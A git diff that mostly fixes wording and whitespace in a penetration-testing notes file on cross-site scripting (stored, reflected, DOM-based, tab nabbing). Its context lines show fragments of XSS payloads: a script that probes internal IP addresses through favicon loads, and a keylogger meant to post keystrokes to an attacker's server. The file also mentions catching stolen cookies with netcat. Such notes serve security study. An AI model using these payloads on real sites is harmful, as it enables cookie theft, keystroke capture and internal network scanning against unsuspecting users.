diff --git a/Exploits/Web/XSS.md b/Exploits/Web/XSS.md
index 68ba7b7..672d33c 100644
--- a/Exploits/Web/XSS.md
+++ b/Exploits/Web/XSS.md
@@ -5,14 +5,16 @@ is possible in Javascript, VBScript, Flash and CSS.
 
 ## Stored XSS
 
-This is where a malicious string originates from the websites database. Such as
+The stored XSS persists in the backend of the site after a successful hack.
+This is where a malicious string originates from the website's database. Such as
 (stored in a db)
 
 * User profiles
 * Chats and comments
 * Part of link
 
-* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).
+Blind xss is stored inside the app, but effects are only visible by proxy,
+  [xsshunter](https://xsshunter.com/).
 
 ### Examples
 
@@ -40,7 +42,7 @@ Open nc port and collect cookies
 ## Reflected XSS
 
 In a reflected cross-site scripting attack, the malicious payload is part of
-the victims request to the website. The website includes this payload in
+the victim's request to the website. The website includes this payload in
 response back to the user. To summarise, an attacker needs to trick a victim
 into clicking a URL to execute their malicious payload.
 
@@ -72,8 +74,8 @@ Open netcat binder to catch the http queries
 ## DOM based XSS
 
 With [DOM-Based
-XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based), an
-attackers payload will only be executed through the DOM when the
+XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based),
+an attacker's payload will only be executed through the DOM when the
 vulnerable Javascript code is either loaded or interacted with. It goes through
 a Javascript function like so:
 
@@ -164,7 +166,7 @@ By requesting the favicon, checking port 80
   let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
   document.body.innerHTML += code
  }
-</script> 
+</script>
 ```
 
 [pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)
@@ -173,7 +175,7 @@ By requesting the favicon, checking port 80
 
 ```javascript
  <script type="text/javascript">
- let l = ""; // Variable to store key-strokes in
+ let l = ""; // Variable to store keystrokes in
  document.onkeypress = function (e) { // Event to listen for key presses
    l += e.key; // If user types, log it to the l variable
    console.log(l); // update this line to post to your own server
@@ -193,7 +195,7 @@ document.onkeypress = function (e) {
 
 ## Tab Nabbing
 
-* Redirection of source after opening a tab through a provisioned link and back referencing 
+* Redirection of source after opening a tab through a provisioned link and back referencing
 * [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)
 
 ## Tricks and Tips